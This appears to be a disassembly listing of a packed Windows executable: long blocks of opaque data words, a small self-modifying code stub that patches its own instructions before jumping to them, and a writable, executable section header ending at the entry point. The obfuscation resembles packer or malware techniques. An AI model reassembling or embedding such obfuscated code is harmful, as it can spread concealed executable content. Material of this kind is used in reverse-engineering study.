dd 0CDA46660h, 331E8095h, 9230B8C9h, 913B5C3Fh, 97430B2Ch
dd 1BC01841h, 5639F17Ch, 0E6C1828Bh, 8A963B03h, 1C08271Bh
dd 266D2301h, 64E811BDh, 22760DE3h, 5181D744h, 189176FAh
dd 858D09F1h, 8B297E5Ch, 8E590104h, 0A61363CCh, 54302F18h
dd 5971734Eh, 577F13A4h, 8A2BDF0h, 40166271h, 293CE1B0h
dd 271A2976h, 449825E6h, 837E0E84h, 36A3B1Ch, 2C68997Eh
dd 36115785h, 0C7456BEBh, 0D9FD6085h, 8456AE78h, 0D9575A11h
dd 0C1E08F7h, 8A1B1F85h, 0B5D434B6h, 0CC80ED2Fh, 5320761Bh
dd 297B1101h, 0C2853E4h, 2CB45E36h, 26EB5F0Bh, 26A3E28Dh
dd 2F2E6A31h, 924E36FFh, 66F4F9F3h, 22804DDDh, 0C95E2588h
dd 5443DE6Eh, 0A13018F2h, 0B0919238h, 198D9440h, 7CE4B43Eh
dd 565E06A9h, 0B8694868h, 1E7C5DE8h, 9B410489h, 561C421Dh
dd 0C9499BF6h, 1A5580FAh, 82CE5B08h, 0A358026Ah, 3D11448Bh
dd 1CB73024h, 0A10595C3h, 0CC234C54h, 8B531425h, 5014D526h
dd 0C1819234h, 940C3E29h, 635D3988h, 64A13418h, 41EB5748h
dd 2D93C68Eh, 0AE20842Eh
dd 4008E061h, 18B26ABFh, 402D8470h, 74AE1DFFh, 95DD663h
dd 98F03C12h, 33D1690h, 60E24B24h, 0F4FDC145h, 9DDC75D4h
dd 0B7DB048Bh, 920BEB8Bh, 25F0545Bh, 4D8366A0h, 609CFFFCh
dd 0E0942918h, 0D160A456h, 0A7DB563Ah, 6514253Dh, 0EE640835h
db 0A4h, 83h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_40292E: ; CODE XREF: start+7j
mov eax, offset loc_40293D
add byte ptr [eax], 28h
inc eax
add dword ptr [eax], 1234567h
loc_40293D: ; DATA XREF: start:loc_40292Eo
nop
retn 1D41h
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 0FFh, 50h, 64h
dd 35FFh, 89640000h, 25h, 89C03300h, 90909008h, 92A5690h
dd 81A57A45h, 12A4D423h, 1624B4Bh, 0EF6AE99Ah, 0E0CC71B2h
dd 0B9C2B71h, 0FA90358Ah, 0B42C7E49h, 2DE6E546h, 0A5628C8h
dd 0C8B8D217h, 7430CD90h, 0A9E9A372h, 70F93D42h, 8150FF32h
dd 0A60482E8h, 0CC415478h, 0F96A5524h, 0BF59C88Eh, 83028375h
dd 8901E87Dh, 0ABF351A1h, 0C41DE4AAh, 0F046A94h, 22B9EF86h
dd 48EE7D16h, 4D40BB03h, 0F4118AEFh, 0AE1AC8D2h, 4137C2A0h
dd 3BD308FFh, 9387F9C2h, 0C8352644h, 94EEF8C2h, 8D92C253h
dd 724A5234h, 0AA047560h, 0D8549EF4h, 3B488092h, 74CB017Ch
dd 1518A2Ch, 0F0DD4E6Ch, 0C73BFA06h, 0B314772Ch, 928AFC05h
dd 5108A588h, 0EE34790h, 41F57628h, 81398024h, 6CFFD419h
dd 0BBC32EC6h, 4857D1Dh, 0E6D0C172h, 9EAC05C7h, 0A350C2E7h
dd 0C91AD92h, 0CCCE3075h, 0CEA0BF88h, 5925A521h, 83BC27A3h
dd 831655EBh, 0E94BFF79h, 43042A48h, 1424A2A3h, 34223D17h
dd 280DE272h, 55482D3Ah, 0A206EB50h, 0C30C08FBh, 0AB604E22h
dd 390DEB02h, 173C6A1Dh, 5031209Ch, 0C4D105A8h, 0A803EB3Ch
dd 4EDB5345h, 25C51697h, 26562215h, 983721FEh, 25FFE1C8h
dd 2B6B2370h, 744415FDh, 0F75FC30h, 1AA1B899h, 2D894A48h
dd 749360A4h, 0F514B822h, 0A9E17D5h, 480C8F0Dh, 0C3DC03ACh
dd 0BBE3B87Fh, 6122A43h, 7C8408F8h, 20578911h, 3323596Dh
dd 0B5AA95C0h, 69DD18D4h, 0A2DD21C6h, 315F4AC4h, 505141Dh
dd 855EE6F8h, 8FE83421h, 0CA16220Bh, 4188BE7Ch, 3A058488h
dd 830010D5h, 8AF472C6h, 50F27645h, 95200E85h, 53379300h
dd 554C8D57h, 0AB61B61h, 0C13BE806h, 2B1D1F77h, 2BBCD5C8h
dd 20B8410Ch, 0D95A8B03h, 851469C4h, 85C75BDFh, 8B42AA73h
dd 4FF9B8Ah, 5FD0756Ah, 0BA44AF5Bh, 0EA1AFAECh, 7B128E12h
dd 56753175h, 48D6742Fh, 1E48FD24h, 0DE1F5615h, 493135A9h
dd 0FC0CE937h, 0B568C585h, 4C280BD9h, 835C2C5Fh, 6673D0B8h
dd 0F6118B01h, 167401C2h, 1005FB26h, 1F05948Ah, 0C0904865h
dd 361CEB8Ch, 84BEB002h, 6920421Bh, 519050B9h, 9CC31DA0h
dd 1423DC5h, 4E49EBBFh, 4126A116h, 0A9319F9h, 4CAB115Ah
dd 1E3EC88Fh, 4A54FE20h, 6132CF1Fh, 7A0A130Ch, 4F0E772Bh
dd 0A9E93C33h, 4D59E0EBh, 5EBE9784h, 0C024B8C9h, 1275D26Dh
dd 13FD616Ah, 21599229h, 74ECE3FDh, 8497DEB8h, 5F21BA07h
dd 0E02C532Eh, 500AF879h, 0F97E0C50h, 133A5EF5h, 90FD9CA7h
dd 1C20628Bh, 0F1297270h, 0B32D889Eh, 47C8388h, 0F92277E0h
dd 0DF2D8668h, 75591682h, 10579416h, 3AC414E4h, 89DE2238h
dd 174B7BD2h, 77172135h, 3171410Bh, 1C1B42A9h, 34A21F0h
dd 0C683BF03h, 0F0E6980Fh, 1074A556h, 7568CF6Ch, 981546AAh
dd 0AA8CA36Ch, 61A4CA88h, 0DD0D8403h, 8A074688h, 0DD80A326h
dd 10487864h, 0A114C1ACh, 0C8D0F19h, 88C0A80h, 0EC095BBFh
dd 3E787A14h, 811C502Bh, 724B31FAh, 14AC7007h, 9FE8EB28h
dd 0EBC36C95h, 2704FCDEh, 41A7E10Fh, 2BF2B110h, 5A1A9771h
dd 61C2090Eh, 0FEEC157h, 7AF1CEFDh, 49C969F0h, 4B27F804h
dd 8D0ACB58h, 9A44018Ch, 0FA4878A5h, 8BF00B4Dh, 7C3130Ch
dd 75F8120Eh, 4F9E07Fh, 60493F6Ah, 3B0C185Fh, 34A76CFh
dd 134C13D0h, 886F704h, 0B2487508h, 0F90583FAh, 0BF1C7320h
dd 0D3BAC8h, 14C8DEFh, 21D7F704h, 44B07C01h, 2B7509FEh
dd 3981EDBDh, 0C18324EBh, 0A11F4DE0h, 0BC86225Dh, 0C827C4B0h
dd 7943064Bh, 0F4A57704h, 89ACCA7Ch, 0FCC5BF0Bh, 0F86E5D03h
dd 7D8DD51Ch, 0FFC1FB03h, 0A3834F04h, 87F8403Fh, 0BE60D05Fh
dd 5898E12Ah, 0A0316DECh, 0FF552B87h, 3DA22543h, 49F88289h
dd 0A3CA3B5Ah, 0E50576A7h, 84B6F45Eh, 83FB6838h, 0FA3B033Fh
dd 4AEF0276h, 6B740CC0h, 51F2F85Eh, 3C9DBFA3h, 4386BABEh
dd 21D208EAh, 0D117154h, 0BE0A1F0Dh, 6C944465h, 88251BEh
dd 4914C053h, 0C4A29BFh, 0DFEC13Ch, 83920024h, 0D690EC7Dh
dd 34390924h, 0B22EF927h, 0B341F03Ch, 62A59F9h, 0B7F94F0Ch
dd 859D1E61h, 1E3B0C98h, 8A1F6375h, 0F0E8074Ch, 4D0E1698h
dd 0B8C1FE0Fh, 3D257319h, 8EE47D80h, 0E83CB50Eh, 0D331CF8Bh
dd 1909EFEBh, 518D0E5Ch, 18FDB244h, 255329DDh, 0E04FF110h
dd 26211A54h, 20A90459h, 844A4F7Fh, 380961B8h, 4555248Bh
dd 1A89F01Ch, 9135C8Bh, 44A4D8ACh, 7798A1FAh, 0DF64499Ch
dd 7C0D8B43h, 3D161D76h, 56E45094h, 4803190Fh, 0AC80A60Ch
dd 0C03F222Eh, 0FF511453h, 339120D7h, 90A1D57h, 0A10F0850h
dd 1086BC3Ah, 0DA88A483h, 21C2588Ch, 934348FEh, 2BC3C50Bh
dd 1490DC79h, 55046083h, 78E512FEh, 6C69C12Fh, 70116453h
dd 13B60C68h, 0CF1014B2h, 67F524A9h, 0F399B98Bh, 0E0317004h
dd 0C855CC90h, 4C3C7029h, 51EC111Dh, 9614484Eh, 5B3AE421h
dd 54EDA2Ch, 50DFF17h, 12053B30h, 83360523h, 0D0482E8h
dd 6B893B87h, 3EB4D10h, 1BA34BCAh, 0AD35890Ah, 0E55B712Dh
dd 31672D14h, 57D39D30h, 5B823C0Dh, 48131C32h, 0F0770817h
dd 266BCD39h, 7D8F3549h, 0FFCEE10Eh, 42EAEED3h, 64817FEEh
dd 3510EBF4h, 6C92827h, 0E8D3F633h, 1435BC1Fh, 0F54F6AA1h
dd 8802098h, 0A419733Ch, 0B73DE24Bh, 0FE305823h, 0E675CF0Bh
dd 14C33E83h, 33639BCCh, 1107E772h, 0DA8B7975h, 2708D8F5h
dd 1105D915h, 34BCE6EBh, 734B59B1h, 87BF811h, 297A0D9Fh
dd 0EDEB558Ah, 0A2261038h, 301CA80Dh, 464BEE91h, 0F8B23460h
dd 2FDB8522h, 3AA11474h, 9F596335h, 1DD10B8h, 2DA94354h
dd 42D27038h, 0AD340533h, 0A6361D89h, 2E94E72Ah, 4B4CC8FAh
dd 8CA45C6Fh, 31B78990h, 4A44DD81h, 0D2373E89h, 24703213h
dd 4DE0855h, 83FC6583h, 0BE84885h, 18DF8BD6h, 9156179Dh
dd 5D387BA5h, 3DD03B6Bh, 39F0FEFEh, 74D70B09h, 6089E2E9h
dd 0BBFF3381h, 51592C5Dh, 4C77304Dh, 75CEB1C2h, 6A67980Dh
dd 5FCBC020h, 57CC985h, 47E1D103h, 188BF7EBh, 88F95443h
dd 80BA2B0Ah, 1F7CF15Dh, 4E4EFEC1h, 7E3F8583h, 3B5EF990h
dd 229C98F7h, 259B010Dh, 21456116h, 128F2B7Dh, 3855A04Ah
dd 40F59DB0h, 5C23ECF4h, 0E144883Bh, 750FFE09h, 6AEB35h
dd 0B21EC93h, 18B331EBh, 96A02C48h, 66B1A291h, 54B51921h
dd 2D99106Fh, 0E24E86D4h, 6D26C2Ah, 3888B07Ah, 965CF87Dh
dd 57B05F93h, 85915008h, 11459438h, 94F17CAAh, 69A60C86h
dd 90C39746h, 44062064h, 7D2C0BFEh, 9A26C529h, 0B4F7F03Bh
dd 8BCCC625h, 8DCE588Bh, 0B3B0915h, 507E90D1h, 52EBAF7Ch
dd 0DC2292Fh, 0B7C54E8Dh, 0F47B090Fh, 0AEBC8AB2h, 86BE2F6Ch
dd 3709EE17h, 73B6B54h, 0A890B74h, 0FC04052Bh, 7A47B356h
dd 0D176F075h, 13015046h, 0A0FC4932h, 440E6373h, 203D798Dh
dd 3B1A893Eh, 0C3F3931Dh, 0B1997B12h, 2507A4A5h, 25026C33h
dd 428D0889h, 9B09C604h, 780D0803h, 0FF1E60A7h, 75C1173Bh
dd 89600530h, 0E0739450h, 57898CEEh, 64889862h, 72C73B8Fh
dd 9D8D8912h, 0A84CC128h, 68100DA2h, 0E14149C4h, 4688B069h
dd 34244F31h, 60ECB381h, 10468968h, 6A2A0E74h, 200B6804h
dd 76675493h, 1ADA15A9h, 0ABF00C65h, 57102C76h, 26D0D2FDh
dd 4E5C7D98h, 0C8C64125h, 5EC047Eh, 844B63ABh, 57BBDCC5h
dd 4A2CA358h
dd 0E957E04Fh, 41C98771h, 0E2DB3392h, 0E05048C6h, 30C38943h
dd 32FB6938h, 0FC5A2E82h, 83343013h, 4033A887h, 4062508h
dd 244ACE61h, 86A0FB1Fh, 0E0B8E7C1h, 680C791Ch, 80881010h
dd 0CAAF8C23h, 68D26A31h, 38593628h, 7030978Dh, 77FA3B32h
dd 47653C7Ah, 0F38748F0h, 0FEC8841h, 0BBFBF535h, 0C70F1DFCh
dd 55F09140h, 0F81EA543h, 0D48F0A9h, 0E880C704h, 5150223h
dd 2D8F5789h, 76CA3B61h, 55416BC7h, 0F8050C4Fh, 6E74FD39h
dd 0AD744F5Fh, 0C4A8D0Dh, 9008DA12h, 449E6406h, 91BC7586h
dd 468A07E4h, 0C1C83443h, 74C0840Ch, 4E7C887Bh, 9037504h
dd 67A20478h, 0D3CB8B04h, 507FB0EAh, 0C3486698h, 16B2D6ACh
dd 0C1724010h, 548C6842h, 60273122h, 6776FFCEh, 19B03531h
dd 2FA08068h, 10D64FD4h, 74052A62h, 27706850h, 65C8511h
dd 2B44A308h, 48D91ADDh, 0C46A10Fh, 16740B50h, 3E93D0FFh
dd 48A10EC0h, 52811A4h, 4A9D1253h, 120433AFh, 8C401522h
dd 9E92C33Bh, 0F0E6F84Bh, 43570C13h, 53567A90h, 18D0D9DAh
dd 0C6F7140Bh, 0D24A9B03h, 0D06A6210h, 256FEAD3h, 0EA7021EBh
dd 7454C897h, 1407BC25h, 75852029h, 77F1B2EBh, 0E383511Fh
dd 210D74CAh, 0B52F3D4Ch, 4DD21D89h, 5F5E5B09h, 622A76C3h
dd 3B891274h, 508A7F84h, 0EE758512h, 666C3B23h, 56FA5E33h
dd 95794695h, 0C8C9D844h, 64DB56AFh, 0EE162806h, 0DE448EC6h
dd 1C1E892Ch, 75308C0Ch, 18EB74C6h, 0DCE27981h, 0E153226h
dd 4C2102Eh, 54A8D233h, 0AAC33EAh, 7500A7Ch, 0F8557560h
dd 4A85D5B1h, 0E2CC4AA4h, 1C448D98h, 162BAC65h, 7B236C3Dh
dd 0D6FBF746h, 0DF64A583h, 0DE4918B6h, 0E3AC9208h, 280F48E5h
dd 0EB20241Dh, 8D534B22h, 0B43990E7h, 2230FED0h, 6C05C759h
dd 3986B0B5h, 7E14127Dh, 4ADDE310h, 590DFE44h, 49DF1FFEh
dd 37B6CA1h, 1C2E1D19h, 0B362122Eh, 9249D0FDh, 7939D545h
dd 0D32AB0F2h, 8A204B45h, 0E8D07AFCh, 7B09922Fh, 0C4FC7124h
dd 588B6220h, 0F4E45B6Fh, 5A8A9C6Bh, 1B042515h, 0C49900EDh
dd 442EDC84h, 0B913EBE8h, 4EF4DEF9h, 7236125Fh, 4B74F4D0h
dd 6A5BC766h, 1D444D62h, 4DF51358h, 461BF242h, 1FAC22A6h
dd 8089F08Bh, 74F73BD8h, 4517F632h, 0D19040Dh, 0F2911C7Eh
dd 0D63B28B2h, 0DB1E7F2Bh, 22CA3323h, 478FB4B9h, 0C8233BB9h
dd 7F85C7E5h, 0B40221E5h, 0DC503C36h, 0B4A6E0D4h, 10D31242h
dd 0FDD8B357h, 0B43274DFh, 0BEE4CB56h, 9C742A68h, 75B48090h
dd 0EB08C504h, 528D6606h, 95206824h, 0C094D6A1h, 0B393D2C0h
dd 0B002EE71h, 9572A6A8h, 9C54866Ah, 56D28585h, 0F4FFF882h
dd 3A381C32h, 8B0B5FC8h, 2FE149F1h, 5E1B9DF3h, 3F2B058Dh
dd 99C28403h, 7A6674A1h, 73A90F2Fh, 0E4527D8Bh, 49F49EFh
dd 0A329BBD9h, 0F1E09B3Ah, 840F4BA8h, 0B8314AC0h, 0A13C184Bh
dd 2999D008h, 0F62009FCh, 0C2E09775h, 42174BA8h, 21354BA8h
dd 0F9F9940h, 8409918Ch, 74447C22h, 1264896Ch, 0E0D4295Ch
dd 4BA86257h, 0C0F11112h, 22CC0991h, 0E04D9DE0h, 4D402156h
dd 354CF062h, 6E4C4888h, 58994DA8h, 9917819h, 0E0A64EA0h
dd 0E4D40A1h, 1A4D40A1h, 0F45C32A4h, 9F980AFh, 0C1F9904h
dd 1C121409h, 37482424h, 5DE051A7h, 501920ABh, 991580Dh
dd 9D7C2268h, 1776E045h, 0A94825FFh, 52E97636h, 8C184406h
dd 11D8250h, 12FF917Dh, 570C2A05h, 1720919h, 69746E75h
dd 0CB20656Dh, 0CB6FA7CFh, 4C54F240h, 0D2534F38h, 0A0D1B0Eh
dd 4E49E859h, 0B80FA547h, 4D4F4406h, 12852641h, 30365201h
dd 128C3832h, 6190202Dh, 3D6C6220h, 693D6F74h, 7EA6DF72h
dd 1C7A6777h, 700A3F68h, 10284838h, 6F6E8337h, 0A7C6174h
dd 0EC686775h, 61337073h, 3A664863h, 77146CF1h, 4DB73969h
dd 29E5FB0Eh, 0BD35CE38h, 0BC647411h, 70188435h, 76587275h
dd 0F174EA69h, 0A6844B4h, 3C2463A6h, 0B41ADFF6h, 34283252h
dd 5F9B609Fh, 3478CB56h, 10B22FBAh, 0E342DD07h, 31156047h
dd 27E7F839h, 9EB37D70h, 21F37364h, 0F9E8E664h, 38232C4Bh
dd 834A8E36h, 4664B282h, 2058AD1Ah, 0CF374724h, 0AD6C8A6Dh
dd 0C068A83Ch, 2218616Ah, 306B630Ah, 2118B7F2h, 0B851B935h
dd 65F68DBh, 724431A3h, 7001246Dh, 3F6782CFh, 96426DBDh
dd 0BC3742FEh, 0A739E230h, 5622ED50h, 6D665642h, 895E7410h
dd 0DE1A382Ch, 7550FF39h, 60917329h, 2C20614Ah, 8AC26651h
dd 83676EDFh, 350C6F3Ch, 27256A3Bh, 24805639h, 0C2352E4Dh
dd 2C663A0Ch, 44DEF556h, 2B4338ABh, 9D524DFBh, 62AA4CCEh
dd 792839B5h, 5D0A6828h, 8845C417h, 24CA210Fh, 3AC3D550h
dd 2E413720h, 293C0502h, 4DE106E6h, 0DA6B5ACCh, 0B33EF677h
dd 0C39E400h, 9470909h, 614C7465h, 0D3414784h, 50DA7617h
dd 7C75C341h, 1028684Ch, 0AA0D5765h, 9C077664h, 61137397h
dd 0D942F367h, 75C14178h, 333A40EEh, 642E2632h, 848213Fh
dd 20848FEh, 660C2049h, 9B611B2h, 6C562C29h, 2019A646h
dd 542950F0h, 0D0421455h, 4A180457h, 0DE592840h, 51042988h
dd 6F13810h, 29FC0358h, 663C3C51h, 12E1296Ah, 4428967Ch
dd 515840ACh, 0DC12F8ECh, 0C820E839h, 20913209h, 0CCD40140h
dd 0EA09E081h, 0FE12F489h, 844C0825h, 891A0910h, 243A1224h
dd 9154484Ah, 447C2268h, 0AC899C8Ch, 0C422B812h, 85A2456h
dd 22A891B4h, 8692449Ch, 62127489h, 40484C24h, 28223491h
dd 880C1A44h, 0F08159FEh, 0CE24E012h, 0B229E24Ch, 4CD2A1C8h
dd 9C89C21h, 2A6C9186h, 0CE64B8BAh, 0F248E009h, 0E2966B8h
dd 36224409h, 0C145289h, 8C819A01h, 0EA8A1C93h, 73460857h
dd 2803206h, 1240D09h, 13911048h, 17440922h, 12038904h
dd 480C2439h, 4034910Bh, 0D9CC8A3Ch, 0F178099Ah, 69925222h
dd 7702930Eh, 0A672F909h, 91866D0h, 52455355h, 44911A94h
dd 638F97A4h, 687BFC41h, 4C131261h, 0C974EE52h, 48D63910h
dd 63297C76h, 5F1F0C70h, 480D587Dh, 770A445Ah, 0A74A0CAh
dd 0CAE3444Dh, 691E926Bh, 159E74CFh, 7024B253h, 6423291Bh
dd 48772C3Ah, 0C34D6772h, 44197564h, 4E086946h, 5A12FA35h
dd 0E53A8F43h, 30646854h, 7845D391h, 4C065F71h, 82178460h
dd 2906C3A8h, 0F4479E9h, 2AFA7543h, 5232D108h, 6D99226Eh
dd 4D4352A1h, 1085175h, 0B054200Ch, 436B2EBDh, 506C3407h
dd 79299120h, 1C411483h, 73446193h, 6E4CDF44h, 0FCA67954h
dd 39294B48h, 2C4CA44Eh, 0F2535750h, 0C638915Fh, 61988A49h
dd 8A6EA1E9h, 0CA3E712Ch, 0F6530923h, 4950C6E3h, 4529044Eh
dd 52822954h, 44436765h, 524B7833h, 443D0E79h, 564CE6ECh
dd 75683AB8h, 4F4412F4h, 0A63E1996h, 0C762E861h, 0BA5374F4h
dd 6DBB3FC6h, 89BA6828h, 2EA16E91h, 89072A26h, 0CE494535h
dd 0B1F344CDh, 8E4F4950h, 706D630Ah, 61488A67h, 36C034C6h
dd 1ACF6612h, 6F680545h, 12342275h, 0EB20F426h, 9FDF68F9h
dd 826BFEEh, 1296B27Ah, 8A329442h, 509250D3h, 4966EE70h
dd 0EED0286Fh, 47E96D38h, 2892220Eh, 990563Ah, 6F48737Eh
dd 799DD0DCh, 4BA44F99h, 0BDA654C4h, 2913A57Eh, 5115E8BAh
dd 5468F555h, 78AD0C75h, 0EC947024h, 6CD4A4A2h, 82A0DEC6h
dd 0A0D6E5F3h, 14C69290h, 1A417367h, 3C9957FCh, 43656486h
dd 547209A6h, 9A684D6Fh
dd 98D07942h, 0A92F907Ah, 8E9A180Fh, 0EAC7A4Ch, 126A3491h
dd 658B6464h, 4F481041h, 70792854h, 14484E0Fh, 2F4DDF2Ch
dd 0E796F14h, 2A9072D5h, 0DA1A5627h, 0C82AB528h, 9DC6A0Bh
dd 1026C74h, 0BA086977h, 0A14AFA4Dh, 0A0BCA570h, 21D185C7h
dd 48A34882h, 2B411C74h, 7157C412h, 0B3225043h, 41340C42h
dd 4F16301Ah, 19D14D45h, 6C41C780h, 9A810819h, 270F3272h
dd 0F4A521Ch, 4D434CC1h, 0DC602604h, 5712108Dh, 5B16C08Fh
dd 0B1FFCA3Dh, 48806930h, 4A5A10EBh, 660BC933h, 80017DB9h
dd 0E2990ABBh, 5EB1CFAh, 9381E5E8h, 0F7989570h, 38FDC3F0h
dd 70CA96Fh, 63DED912h, 3D3485E9h, 413E910Eh, 0C1A5EA1Fh
dd 9AE187EDh, 0B9E7F86Ah, 0D7FC62EAh, 74AA8D03h, 0EBC8CECFh
dd 6B1900A6h, 6AC097F3h, 9175ED3Fh, 5E1AC601h, 707BDC9Dh
dd 12C71087h, 0BDDF2054h, 483A5A9Ah, 0AA580778h, 80EDFF50h
dd 1CBD85F9h, 1E9B6FFEh, 0F912998Dh, 1A6ED863h, 9F975F3Dh
dd 0C006F349h, 0C0D31E71h, 0CFCB941Ah, 6531CE66h, 9CF3D0C3h
dd 37ED2691h, 98C703C9h, 632C9BE6h, 9E5E2A75h, 4B9D99C0h
dd 1059AA0Eh, 89F3C1DEh, 289BCACEh, 0D363669h, 610D466Dh
dd 751A9061h, 3EEED7DDh, 10C038C0h, 757B179Dh, 0A1CF3262h
dd 0D900A506h, 38DF5EFFh, 148798B5h, 0FAC989DEh, 2C81B87h
dd 5E086C67h, 0F4FAA5E0h, 2A996EFDh, 7AB8C9EFh, 0EFDBCB79h
dd 8DCA78Bh, 3584C77Dh, 60EC311Ch, 248C46C8h, 0C0C34B02h
dd 777B32h, 6776715Ah, 0FCDEF8FBh, 0EBC9ED01h, 0FDD8FAF6h
dd 0EAA7B7C7h, 1EDA9913h, 68EDF80Ch, 0D81DCF12h, 0F0E1DCE3h
dd 0B1F1CDF1h, 0F6D5AE29h, 7C7E0ABAh, 0E0F9F7FBh, 0EAEE3081h
dd 0CFAAC6ABh, 0F9B11EBDh, 86F25466h, 0F0FB24C3h, 0F5483AF7h
dd 8F7AEAB7h, 7CFAF886h, 0DBEBE951h, 8CFEF6FBh, 9CE4208Bh
dd 0FF0B859Fh, 19424D53h, 0C8E51875h, 0FEE28A79h, 6207A7h
dd 20435002h, 570FDDBAh, 1E4B524Fh, 477776FAh, 0C4D413Ch
dd 30302E31h, 0F54EF24Ch, 0BB0B06A2h, 6593274Ah, 6B3B08E6h
dd 42B8FE67h, 2E331EC1h, 51986131h, 5832484Dh, 33236CB4h
dd 162EED3Eh, 0DC2054E4h, 1630DB32h, 0A47132F5h, 0C738C91h
dd 10E78507h, 487D0C07h, 531104C0h, 2027150Ah, 61C2D9Bh
dd 9A366980h, 1AE29D98h, 9740CAFEh, 99E00882h, 0B9435A88h
dd 4CAF4A58h, 38204C70h, 77733677h, 23055EAh, 8D0E0A04h
dd 24350A39h, 2E3CCDDEh, 2B4F0E10h, 8D8ACDAh, 0DA438420h
dd 9F5957C8h, 6503220Bh, 32460501h, 8994724h, 6380F40h
dd 0FD838672h, 15204095h, 48E0888Ah, 44E04FE0h, 198180h
dd 0E4F27A6Ah, 0AF281C49h, 74253002h, 97536710h, 485CD9E2h
dd 6C8D75E0h, 0E0A10454h, 0BE10A25Ch, 45B316Dh, 67326213h
dd 4361089h, 78CA3738h, 49393099h, 4338156Ch, 3F512422h
dd 6439C201h, 1DA26442h, 4DC0804h, 1833F710h, 78FDEC8h
dd 3016050Eh, 2019F17h, 41AB27A7h, 1A20292Bh, 8C110329h
dd 48DA6C15h, 0C1722D75h, 2B4A6379h, 466C9C28h, 0DC50B225h
dd 0F48946Eh, 1B1CA77Dh, 0B7A62954h, 59C92666h, 50B8CA46h
dd 0CC4566CCh, 86FF1F8Ah, 0D1710337h, 0B8CF8872h, 348504BBh
dd 6A06000Ch, 0C391928h, 11D0B107h, 0C000A89Bh, 542ED94Fh
dd 5D60F5h, 1CEB8A88h, 0E89F11C9h, 2B0A3D90h, 0D2604810h
dd 0AFF40C70h, 2160C4A4h, 9A0B0CA0h, 7AA41428h, 10EE85B1h
dd 620CA0C4h, 0E418E88h, 3EC0409h, 95086064h, 50914014h
dd 15707C8Fh, 82BDCC0h, 1489D17Eh, 85780EBFh, 5BAB0113h
dd 0E48E9A6h, 14F84810h, 21762F88h, 0E13FEFFh, 54402432h
dd 908E73Bh, 84D8313h, 86B98F44h, 0DAB705EEh, 64102F25h
dd 93200Ch, 0C80DAD08h, 0F02CC08h, 0B880D849h, 70014018h
dd 0F842184h, 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h
dd 13032E2h, 7091A89Ah, 6F893457h, 0E301D014h, 0CD6B8420h
dd 0B7C69646h, 123C603Ch, 2477515h, 754E1CACh, 24F268DEh
dd 18649878h, 8481009h, 40F844B8h, 0E889F068h, 30353110h
dd 4B4F200Bh, 0F4C48E0Ah, 3651DE08h, 4E10338Ah, 9C3111FEh
dd 534C0463h, 759CEC41h, 44525625h, 0C261723Eh, 78652E02h
dd 78EBD3D0h, 3820398Ch, 926A966h, 2587E825h, 6731F073h
dd 103E9030h, 2E646D63h, 70746614h, 6E61871Bh, 6D79474Eh
dd 0B6737582h, 0D5A89518h, 6962410Ah, 3B1C5B6Eh, 9CC37A67h
dd 0FC755F69h, 7041AEBDh, 6215201Bh, 0C8E61279h, 8A19BBF1h
dd 173A732Dh, 0F57B40C8h, 0F3FFAF2Dh, 3A6DC56Ch, 3180CC28h
dd 302E3732h, 193405DEh, 630D1EBDh, 8E475C3Ah, 0CB2E6780h
dd 0E2FCA78h, 778852DDh, 14BAE35Ch, 2570691Fh, 6EBF623h
dd 66140440h, 1CEC8103h, 83E4FF07h, 9806C35h, 55175184h
dd 0E885449h, 88CEEF45h, 2E158B08h, 2C189C03h, 554F5021h
dd 4AE22052h, 5208095Bh, 43A891C6h, 59B22E31h, 3B722D41h
dd 706DD404h, 1264EFA8h, 61568269h, 9DD1B889h, 0F9DF8A0h
dd 4DC17D66h, 2D343053h, 0E8C731CDh, 646C7576h, 8761466Eh
dd 4B587941h, 9E32B681h, 74354978h, 65527219h, 64188C17h
dd 42AA6781h, 2F50857Dh, 0B77B1E0Ah, 6D0C4F22h, 0A7F9616Eh
dd 89635A6Ch, 1E944257h, 77272273h, 0EE28B763h, 79F8746Eh
dd 58338CADh, 50C41E33h, 5A4E766Ch, 0B8685CA3h, 4ED32026h
dd 793AC474h, 353F26A2h, 6B105670h, 8E668A6Ah, 33236D15h
dd 0D42E0277h, 0B6DE81EDh, 65282487h, 8ED99562h, 0CC8F3450h
dd 295F6854h, 4BCCA0FBh, 0AFC8D6Dh, 6B53043Ah, 21D24E79h
dd 20888C54h, 0C26F5266h, 0B96AB193h, 79EB529Ch, 1148AA9Dh
dd 6572EEB1h, 7C6E92E3h, 39125A70h, 1E6E0824h, 63346FD9h
dd 4481B67Ch, 2B647672h, 935F3B09h, 2618CED9h, 0ECE47973h
dd 54FD67F0h, 530D40E5h, 5754464Fh, 27D24148h, 3D35C55Ch
dd 891C675Bh, 4C25045Bh, 1B3EFF3Bh, 9FBDA92Ah, 2BEF0E98h
dd 0E68F1340h, 158BB14Fh, 2F65104h, 0FD1628F2h, 8248F30Ah
dd 84903D10h, 29221ABDh, 1640281h, 0E240D02Fh, 42029682h
dd 3C18FD02h, 1C95B720h, 68252557h, 508322Eh, 990BC002h
dd 19911D18h, 7996C804h, 3908128Dh, 8F210F8Eh, 913C90E4h
dd 0F2929087h, 249E1E93h, 0A090799h, 757B8C12h, 0E4960D20h
dd 93052082h, 11B49519h, 70BC2D02h, 904081FEh, 22091191h
dd 0F6408364h, 14388910h, 10111191h, 122252E4h, 8913C044h
dd 24181294h, 3259505Ch, 221A1134h, 1B0451FCh, 1C91C448h
dd 78449C22h, 1279898Ch, 487A247Ch, 10FC916Ch, 0FF226A0Ch
dd 1215C61h, 0CB4D0402h, 60E6903Fh, 21E47982h, 0DF0CB9B5h
dd 46A10848h, 9F8104A5h, 4020FCE0h, 6186807Eh, 0A3C161A8h
dd 886DCADAh, 31FE8142h, 0B5084C40h, 41D930A5h, 0CF88B61Ch
dd 0A1E472A2h, 0E8D9E5E0h, 605A5BE1h, 46A17E85h, 905510Ah
dd 675EDA39h, 6A675FC0h, 22E3284h, 0E0DED8D3h, 7E3102F9h
dd 3F83A90h, 6CDDE799h, 48h dup(0)
dd 0F80h dup(?)
_text ends
; Section 3. (virtual address 00018000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00011C00 ( 72704.)
; Offset to raw data for section: 00003E00
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 418000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
public start
start proc near
